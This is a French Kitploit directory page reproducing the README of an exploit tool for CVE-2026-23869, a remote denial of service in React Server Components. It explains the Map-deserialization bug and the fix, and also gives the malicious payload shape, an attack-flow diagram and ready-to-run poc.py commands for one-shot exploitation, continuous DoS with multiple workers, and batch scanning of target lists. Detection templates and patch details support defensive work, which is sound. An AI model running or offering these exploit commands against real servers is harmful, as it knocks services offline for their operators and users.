Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-23869-Exploit — Outil d'exploitation automatisé pour CVE-2026-23869, un DoS distant dans React Server Components. Inclut un PoC, un modèle Nuclei et des scripts de scan pour la détection et l'exploitation. | Kitploit
Outils/GitHubGitHub/cybertechajju/cve-2026-23869-exploit
ReconnaissanceScanners de VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubcybertechajju/cve-2026-23869-exploit

CVE-2026-23869-Exploit

Outil d'exploitation automatisé pour CVE-2026-23869, un DoS distant dans React Server Components. Inclut un PoC, un modèle Nuclei et des scripts de scan pour la détection et l'exploitation.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
9112il y a 5 moisPas encore vérifié
Partager

CVE Severity React Next.js Type

⚡ CVE-2026-23869 — React2DoS

Déni de service distant non authentifié via le protocole Flight de React
Épuisement quadratique du CPU lors de la désérialisation de Map dans les Server Components

Vue d'ensemble • Fonctionnement • Outils • Installation • Utilisation • Nuclei • Correctif • Avertissement


Vue d'ensemble de la vulnérabilité

ChampDétail
ID CVECVE-2026-23869
AliasReact2DoS
Score CVSS7.5 (Élevé)
Vecteur CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWECWE-400 (Consommation de ressources non contrôlée)
TypeDéni de service distant non authentifié
Découvert parYohann Sillam (Imperva Threat Research)
Affectéreact-server-dom-webpack / parcel / turbopack ≤ 19.2.4
CorrigéReact 19.2.5+ / Next.js 15.5.15+ / 16.2.3+

Une vulnérabilité critique de déni de service existe dans la désérialisation du protocole Flight des Server Components de React. Un attaquant non authentifié peut envoyer une seule requête HTTP malveillante à n'importe quel point de terminaison Server Action de l'App Router de Next.js, provoquant un épuisement quadratique O(n²) du CPU qui verrouille le serveur pendant plusieurs minutes.

Références

  • Avis officiel de Vercel
  • Analyse technique d'Imperva — « React2DoS »
  • Correctif React PR #36236
  • Entrée NVD

Fonctionnement

Le bug : indicateur consumed manquant lors de la désérialisation de Map

Le protocole Flight de React utilise des marqueurs spéciaux pour sérialiser les types de données. $Q représente un objet Map. Lorsque le serveur reçoit une charge utile contenant des marqueurs $Q0 auto-référencés :

Charge utile : [ [1,1], [1,1], ...(n entrées valides)..., "$Q0", "$Q0", ...(n références)... ]

Chaque $Q0 déclenche un constructeur new Map() qui itère sur toutes les n entrées valides. Le constructeur Map lève une erreur (car les entrées sont malformées), mais le bug critique est le suivant : l'indicateur consumed n'est jamais défini en cas d'échec.

Cela signifie que le $Q0 suivant recalcule exactement le même Map à partir de zéro → créant une complexité O(n²) :

n entrées valides × n références $Q0 = n² appels au constructeur Map

Exemple : 65 000 × 65 000 = 4 225 000 000 opérations
Résultat : une seule requête verrouille le CPU pendant 5 à 10+ minutes

Flux d'attaque

┌──────────┐     POST / (multipart/form-data)      ┌──────────────────┐
│ Attaquant │ ──────────────────────────────────────▶ │  Serveur Next.js │
│          │     En-tête : Next-Action: <action_id>   │                  │
│          │     Corps : [[1,1]...,"$Q0","$Q0"...]    │  ██████████ CPU  │
│          │                                        │  100% VERROUILLÉ  │
└──────────┘                                        │  pendant ~5-10 min│
                                                    └──────────────────┘

Code vulnérable (avant correctif)

// ReactFlightReplyServer.js — AVANT correctif
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  return new Map(data);  // ← Échoue mais ne définit pas consumed = true
                         //   Le $Q0 suivant recalcule à partir de zéro
}

Code corrigé (après correctif)

// ReactFlightReplyServer.js — APRÈS correctif (React 19.2.5+)
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  obj.consumed = true;   // ← Correctif : définit l'indicateur AVANT la construction
  return new Map(data);  //   Empêche le recalcul répété
}

Outils inclus

FichierDescription
poc.pyOutil d'exploitation entièrement automatisé avec pipeline en 4 phases (Recon → Extraction → Détection → Exploitation)
CVE-2026-23869.yamlModèle de détection Nuclei avec orchestration basée sur les flux
scan.shScript wrapper : filtrage httpx des cibles actives + scan Nuclei
extract-action-ids.shExtracteur autonome d'ID de Server Action

Installation

# Cloner le dépôt
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit

# Installer la dépendance Python
pip install requests

# Rendre les scripts exécutables
chmod +x poc.py scan.sh extract-action-ids.sh

Dépendances optionnelles

# Pour le scan avec le modèle Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Pour le filtrage des cibles actives
go install github.com/projectdiscovery/httpx/cmd/httpx@latest

Utilisation

🔥 Scan automatique complet (cible unique)

Fournissez simplement l'URL — l'outil fait tout automatiquement :

python3 poc.py -u https://target.com

Ce qui se passe :

  1. Phase 1 — Recon : Empreinte de Next.js (en-têtes, marqueurs HTML, ID de build)
  2. Phase 2 — Extraction : Recherche des ID de Server Action dans les bundles JS
  3. Phase 3 — Détection : Vérification de vulnérabilité sûre basée sur le timing (sonde de 500 entrées)
  4. Phase 4 — Rapport : Affiche le verdict de vulnérabilité avec analyse des temps de réponse

📋 Scan par lots (plusieurs cibles)

# Scanner une liste de domaines/IP
python3 poc.py -L targets.txt

# Avec sortie de rapport JSON
python3 poc.py -L targets.txt -o results.json

🎯 Mode manuel (ID d'action connu)

# Détection sûre uniquement
python3 poc.py -u https://target.com -a <ACTION_ID> --detect

# Exploitation en un seul tir
python3 poc.py -u https://target.com -a <ACTION_ID> --single

# DoS continu (10 workers)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10

🔍 Extraction des ID d'action uniquement

python3 poc.py -u https://target.com --extract

⚙️ Toutes les options

Options :
  -u, --url URL          URL cible (cible unique)
  -L, --list FILE        Fichier contenant les URL/IP cibles (une par ligne)
  -a, --action-id ID     ID de Server Action (ignore l'extraction automatique)
  --detect               Détection uniquement — sûre, non destructive (par défaut)
  --single               Exploitation en un seul tir après détection
  --exploit              DoS continu après détection
  --extract              Extraire uniquement les ID d'action
  -l, --length N         Entrées de la charge utile (par défaut : 130000)
  -w, --workers N        Workers simultanés (par défaut : 5)
  -d, --delay SEC        Délai entre les requêtes (par défaut : 1.0)
  -o, --output FILE      Enregistrer le rapport JSON
  -t, --threads N        Cibles simultanées pour le scan de liste (par défaut : 3)

Rétrocompatibilité

La syntaxe originale du PoC fonctionne toujours :

Télécharger l’outil